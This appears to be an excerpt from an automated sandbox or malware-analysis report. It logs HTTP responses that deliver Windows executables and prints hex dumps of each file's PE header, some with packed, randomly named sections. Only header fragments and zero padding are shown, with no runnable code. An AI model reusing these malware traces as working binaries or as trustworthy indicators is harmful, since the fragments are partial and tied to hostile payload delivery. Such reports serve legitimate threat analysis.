00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 09:24:24 GMTContent-Type: application/octet-streamContent-Length: 1841664Last-Modified: Sun, 24 Nov 2024 08:21:17 GMTConnection: keep-aliveETag: "6742e1fd-1c1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 48 00 00 04 00 00 20 ec 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 29 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 75 7a 69 6e 6c 6f 76 00 80 19 00 00 f0 2e 00 00 7c 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 66 68 6b 73 62 67 67 00 10 00 00 00 70 48 00 00 04 00 00 00 f4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 48 00 00 22 00 00 00 f8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 09:24:38 GMTContent-Type: application/octet-streamContent-Length: 1762304Last-Modified: Sun, 24 Nov 2024 08:21:24 GMTConnection: keep-aliveETag: "6742e204-1ae400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 f0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 68 00 00 04 00 00 db b4 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6e 62 6d 6a 64 64 7a 00 50 19 00 00 90 4e 00 00 46 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 68 72 69 6a 67 74 72 00 10 00 00 00 e0 67 00 00 04 00 00 00 be 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 67 00 00 22 00 00 00 c2 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 09:24:47 GMTContent-Type: application/octet-streamContent-Length: 923136Last-Modified: Sun, 24 Nov 2024 09:22:50 GMTConnection: keep-aliveETag: "6742f06a-e1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 f0 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 8b bd 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 8c aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 8c aa 00 00 00 40 0d 00 00 ac 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 a0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 09:24:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 09:24:55 GMTContent-Type: application/octet-streamContent-Length: 2833920Last-Modified: Sun, 24 Nov 2024 09:23:17 GMTConnection: keep-aliveETag: "6742f085-2b3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1f e1 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 6e 76 6c 7a 72 63 6a 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 70 67 61 65 72 6d 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 18 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 09:25:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 09:25:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 